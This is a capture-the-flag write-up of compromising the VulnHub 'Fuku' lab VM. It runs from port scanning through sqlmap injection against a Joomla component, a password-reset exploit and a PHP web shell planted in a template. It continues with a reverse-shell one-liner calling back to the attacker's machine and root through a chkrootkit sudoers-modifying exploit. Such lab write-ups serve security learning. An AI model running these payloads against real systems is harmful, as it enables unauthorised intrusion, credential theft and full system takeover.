Fuku VulnHub Writeup
Another machine by Robert Winkel today, named Fuku. If the name is anything to go on, this one should be a bit more of a challenge.
An initial port scan shows a ton of ports open. Methinks this is a bit misleading.
While the scan finishes, I do some manual probing of common services.
Port 22 is open, and is indeed ssh
, as is 80, and 443..and 3309..wait.. If I connect to it with ncat
, I get a HTTP response back (without sending any content). I don't believe this is truly a web server.
$ ncat 192.168.56.104 80
HTTP/1.0 200 OK
Server: Apache/2.4.4 (Ubuntu)
<html>
<body>
FUKU!</body>
</html>
So, I wait for the full scan to come back.
Upon further examination, it now looks like all ports bring back the above response. Loks like I've triggered an IDS of some sort. Crap. This scan is going to be awfully noisy.
After a while of waiting for the scan to finish, I decide to take a different approach. I write a quick Python script that will attempt to connect to ports 0-65535
, perform a GET
request and output the result if the word FUKU
is not found in the response.
from multiprocessing import Pool
import socket
def checkPort(PORT):
HOST = '192.168.56.104'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.0\n\n')
data = s.recv(1024)
s.close()
if 'FUKU' not in data:
print '%d'%PORT, repr(data)
except:
print 'ERROR %d'%PORT
pass
if __name__ == '__main__':
p = Pool(25)
p.map(checkPort, range(0,65535))
I run the script, and after a while get something of interest.
$ python fuku-1.py
ERROR 0
22 'SSH-2.0-OpenSSH_6.7p1 Ubuntu-5ubuntu1\r\n'
13370 'HTTP/1.1 200 OK\r\nDate: Fri, 15 Apr 2016 11:15:15 GMT\r\nServer: Apache/2.4.10 (Ubuntu)\r\nSet-Cookie: 2ca37425839b5e327d91a1c3ca8298ca=v4bb787cfargu73g0936rh9653; path=/\r\nP3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"\r\nExpires: Mon, 1 Jan 2001 00:00:00 GMT\r\nLast-Modified: Fri, 15 Apr 2016 11:15:16 GMT\r\nCache-Control: post-check=0, pre-check=0\r\nPragma: no-cache\r\nVary: Accept-Encoding\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\n\r\n<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja-jp" lang="ja-jp" >\r\n<head>\r\n <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n <meta name="robots" content="index, follow" />\n <meta name="keywords" content="joomla, Joomla" />\n <meta name="description" content="Joomla! - the dynamic portal engine and content management system" />\n <meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />\n '
Joomla
So, we've found what appears to be a Joomla installation on port 13370
.
After looking through the source of the home page, I see a module is being used named com_hdflvplayer
. Now, I happen to know that this is vulneable to SQL Injection, as demonstrated at https://www.exploit-db.com/exploits/35220/.
$ sqlmap -u "http://192.168.56.104:13370/index.php?option=com_hdflvplayer&id=1" -p id --dbms mysql
_
___ ___| |_____ ___ ___ {1.0-dev-e2ff186}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:21:21
[07:21:21] [INFO] testing connection to the target URL
[07:21:21] [INFO] testing if the target URL is stable. This can take a couple of seconds
[07:21:22] [INFO] target URL is stable
[07:21:22] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[07:21:22] [INFO] testing for SQL injection on GET parameter 'id'
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n]
[07:21:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:21:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:21:26] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:21:26] [WARNING] reflective value(s) found and filtering out
[07:21:26] [INFO] GET parameter 'id' seems to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable
[07:21:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[07:21:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[07:21:27] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'
[07:21:27] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[07:21:27] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[07:21:27] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[07:21:27] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[07:21:27] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML)'
[07:21:27] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[07:21:27] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[07:21:27] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[07:21:27] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[07:21:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[07:21:27] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[07:21:27] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[07:21:27] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[07:21:27] [INFO] testing 'MySQL inline queries'
[07:21:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:21:27] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[07:21:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[07:21:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT - comment)'
[07:21:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:21:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[07:21:28] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[07:21:32] [INFO] GET parameter 'id' seems to be 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable
[07:21:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[07:21:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:21:33] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[07:21:34] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[07:21:35] [INFO] target URL appears to be UNION injectable with 22 columns
[07:21:35] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 22 to 40 columns' injectable
[07:21:35] [WARNING] in OR boolean-based injections, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 137 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: option=com_hdflvplayer&id=-4765 OR (6303=6303)#
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: option=com_hdflvplayer&id=1 UNION ALL SELECT CONCAT(0x716b7a7171,0x5a716552777a56527445,0x7171626271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: option=com_hdflvplayer&id=1 AND 9506=BENCHMARK(5000000,MD5(0x79704c68))
---
[07:21:37] [INFO] testing MySQL
[07:21:37] [INFO] confirming MySQL
[07:21:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
[07:21:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.104'
[*] shutting down at 07:21:37
After digging around the database, I find various usernames and hashes - one for a user named gizmo
. I note this for later.
I fire joomscan
off at the target, and look through the results for something that might help me.
$ joomscan -u 192.168.56.104:13370
..|''|| '|| '||' '|' | .|'''.| '||''|.
.|' || '|. '|. .' ||| ||.. ' || ||
|| || || || | | || ''|||. ||...|'
'|. || ||| ||| .''''|. . '|| ||
''|...|' | | .|. .||. |'....|' .||.
=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.4
(c) Aung Khant, aungkhant]at[yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
Update by: Web-Center, http://web-center.si (2011)
=================================================================
Vulnerability Entries: 611
Last update: February 2, 2012
Use "update" option to update the database
Use "check" option to check the scanner update
Use "download" option to download the scanner latest version package
Use svn co to update the scanner and the database
svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan
Target: http://192.168.56.104:13370
Server: Apache/2.4.10 (Ubuntu)
## Checking if the target has deployed an Anti-Scanner measure
[!] Scanning Passed ..... OK
## Detecting Joomla! based Firewall ...
[!] No known firewall detected!
## Fingerprinting in progress ...
~Generic version family ....... [1.5.x]
~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008)
~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008)
~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]
* The Exact version found is 1.5.0-stable
## Fingerprinting done.
## 2 Components Found in front page ##
com_hdflvplayer com_mailto
Vulnerabilities Discovered
==========================
...snip...
# 15
Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 23.
Exploit: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to url : target.com/administrator/ 5. Login admin with new password
Vulnerable? Yes
Great - I trigger this vulnerability by visiting http://192.168.56.104:13370/index.php?option=com_user&view=reset&layout=confirm
, entering the '
character and then proceeding to enter the new password of test
.
Once submitted, I then browse to http://192.168.56.104:13370/administrator/
and login with the username admin
and password test
. We are granted access to the Joomla admin panel.
Templates
Moving from Joomla admin access to RCE on the target is relatively simple. By editing the current template at http://192.168.56.104:13370/administrator/index.php?option=com_templates&client=0&task=edit_source&id=rhuk_milkyway, we are able to add the following snippet.
<pre><?php system($_GET['c']); die(); ?></pre>
This means we can execute commands simply by visiting the homepage of the site, with our command in the c
parameter.
Looking in the root directory of the site by requesting the URL http://192.168.56.104:13370/?c=ls -lah
, and subsequently http://192.168.56.104:13370/?c=cat flag.txt
, we find our first flag.
Did you find this flag by guessing? Or possibly by looking in the robots.txt file?
Maybe you found it after getting a shell, by using a command like "find / -name flag.txt" ?
Random keyboard smash: J7&fVbh2kTy[JgS"98$vF4#;>mGcT
We also inspect the contents of configuration.php
, and find a password for the MySQL user gizmo
.
/* Database Settings */
var $dbtype = 'mysql';
var $host = 'localhost';
var $user = 'gizmo';
var $password = 'sillyboy';
var $db = 'fuku';
This login doesn't work on the system, unfortunately.
Using our trusty PHP reverse shell, we are able to get a connect back on port 1234 by issuing the following request.
http://192.168.56.111:13370/?c=php+-r+%27%24sock%3dfsockopen%28%22192.168.56.103%22%2c1234%29%3bexec%28%22%2fbin%2fbash+-i+%3c%263+%3e%263+2%3e%263%22%29%3b%27
This essentially runs the following command on the target.
php -r '$sock=fsockopen("192.168.56.103",1234);exec("/bin/bash -i <&3 >&3 2>&3");'
Certain commands (like python
, id
, whoami
) are restricted.
www-data@Fuku:/var/www/html$ id
id
haha! FUKU! Only root can run that command.
www-data@Fuku:/var/www/html$ whoami
whoami
haha! FUKU! Only root can run that command.
www-data@Fuku:/var/www/html$ python
python
haha! FUKU! Only root can run that command.
We can get around the python
restriction at least by specifying a version. I use this to get us into a PTY session.
www-data@Fuku:/var/www/html$ python2.7 -c 'import pty; pty.spawn("/bin/bash");'
<$ python2.7 -c 'import pty; pty.spawn("/bin/bash");'
Following this, I login to MySQL and check out the other databases available. One actually has an admin
password in, which I bet was the real login for the admin
user on Joomla. Oh well - we don't need that now..
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| fuku |
| fuku2 |
| mysql |
| performance_schema |
| tacacs |
+--------------------+
6 rows in set (0.00 sec)
mysql> use tacacs;
use tacacs;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_tacacs |
+------------------+
| access |
| accounting |
| acl |
| admin |
| attribute |
| command |
| component |
| config |
| contact_info |
| failure |
| host |
| node |
| profile |
| user |
| vcomponent |
| vendor |
+------------------+
16 rows in set (0.01 sec)
mysql> select * from admin;
select * from admin;
+-------+---------------+----------+------+-------+
| uid | password | priv_lvl | link | vrows |
+-------+---------------+----------+------+-------+
| admin | ht70zyjHsMl3A | 15 | 0 | 25 |
+-------+---------------+----------+------+-------+
Escalation
After a while of digging, I come across something rather curious. The target has version 0.49
of chkrootkit
installed. This has a known vulnerability that allows for local privilege escalation to root
, as outlined at https://www.exploit-db.com/exploits/33899/. Essentially, chkrootkit
when performing a scan will mistakenly execute a binary named update
in the /tmp
directory, resulting in arbitrary command execution under the context of the user running chkrootkit
- which is usually root
.
First, I create a file named update
with a command to change the permission of the sudoers
file, add a new entry and then reset the permissions back. I then make the file executable.
bash-4.3$:/tmp$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
Then, I wait. Hopefully there is a crontab
entry for chkrootkit
..
After some time, I check the size of /etc/sudoers
. After a few minutes, the file size changes, so I try to sudo su
.
bash-4.3$ sudo su
sudo su
ls -alh /root
total 2.7M
drwx------ 5 root root 4.0K Aug 18 2015 .
drwxr-xr-x 22 root root 4.0K Jan 1 1970 ..
-rw-r--r-- 1 root root 0 Aug 18 2015 19700101
-rw------- 1 root root 40 Jan 1 1970 .bash_history
-rw-r--r-- 1 root root 3.1K Jan 1 1970 .bashrc
drwx------ 2 root root 4.0K Jan 1 1970 .cache
-rwxr-xr-x 1 root root 66 Jan 1 1970 change_ip.sh
drwxr-xr-x 2 bull bull 4.0K Jan 1 1970 chkrootkit-0.49
-rwxr-xr-x 1 root root 792K Jan 1 1970 cpp-4.9
-rw------- 1 root root 122 Jan 1 1970 flag.txt
-rwxr-xr-x 1 root root 63 Jan 1 1970 fuku
-rwxr-xr-x 1 root root 800K Jan 1 1970 g++-4.9
lrwxrwxrwx 1 root root 7 Aug 4 2015 gcc -> gcc-4.9
-rwxr-xr-x 1 root root 792K Jan 1 1970 gcc-4.9
lrwxrwxrwx 1 root root 10 Aug 4 2015 gcc-ar -> gcc-ar-4.9
-rwxr-xr-x 1 root root 26K Jan 1 1970 gcc-ar-4.9
lrwxrwxrwx 1 root root 10 Aug 4 2015 gcc-nm -> gcc-nm-4.9
-rwxr-xr-x 1 root root 26K Jan 1 1970 gcc-nm-4.9
lrwxrwxrwx 1 root root 14 Aug 4 2015 gcc-ranlib -> gcc-ranlib-4.9
-rwxr-xr-x 1 root root 26K Jan 1 1970 gcc-ranlib-4.9
-rwxr-xr-x 1 root root 38K Jan 1 1970 id
-rwxr-xr-x 1 root root 68K Jan 1 1970 ifconfig
lrwxrwxrwx 1 root root 24 Aug 4 2015 locate -> /etc/alternatives/locate
-rwxr-sr-x 1 root mlocate 34K Jan 1 1970 mlocate
drwxr-xr-x 7 root root 4.0K Jan 1 1970 portspoof
-rw-r--r-- 1 root root 140 Jan 1 1970 .profile
lrwxrwxrwx 1 root root 9 Aug 4 2015 python -> python2.7
-rw-r--r-- 1 root root 0 Jan 1 1970 python2.7
-rwxr-xr-x 1 root root 30K Jan 1 1970 uname
lrwxrwxrwx 1 root root 10 Aug 4 2015 which -> /bin/which
-rwxr-xr-x 1 root root 26K Jan 1 1970 whoami
Awesome! And there's our last flag!
cat /root/flag.txt
Yep, this is a flag. It's worth over 9000 Internet points!
Random keyboard smash: lkhI6u%RdFEtDjJKIuuiI7i&*iuGf)8$d4gfh%4
We also find the script responsible for changing the IP address.
cat /var/spool/cron/crontabs/root
...snip...
*/23 * * * * /bin/bash /root/change_ip.sh
cat /root/change_ip.sh
#!/bin/bash
/root/ifconfig eth0 192.168.56.`shuf -i 110-253 -n 1`
Conclusion
Some strange things were happening while testing against this machine. Firstly, it looks like it releases its DHCP lease often, meaning connections etc will die when its network adapter is reset and its IP changed. This was rather annoying, but not the end of the world.
Next - every port that was not actually open was returning a 'web page'. This was achieved using a tool named portspoof
, with the following config.
1-65535 "HTTP/1\.0 200 OK\r\nServer: Apache/(2\.4\.\d) \(Ubuntu\)\r\n\r\n<html>\r\n<body>\r\nFUKU!</body>\r\n</html>"
Finally, certain commands were replaced with bash scripts that would state we're not allowed to run them. Example commands are python
, gcc
and wget
. We worked around the python
restriction quite easily.
I got stuck on the escalation for a bit here, and it was fun figuring out how to find the real live services on the machine. All in all, good fun!
Thanks Robert Winkel for putting it together, and VulnHub for hosting it.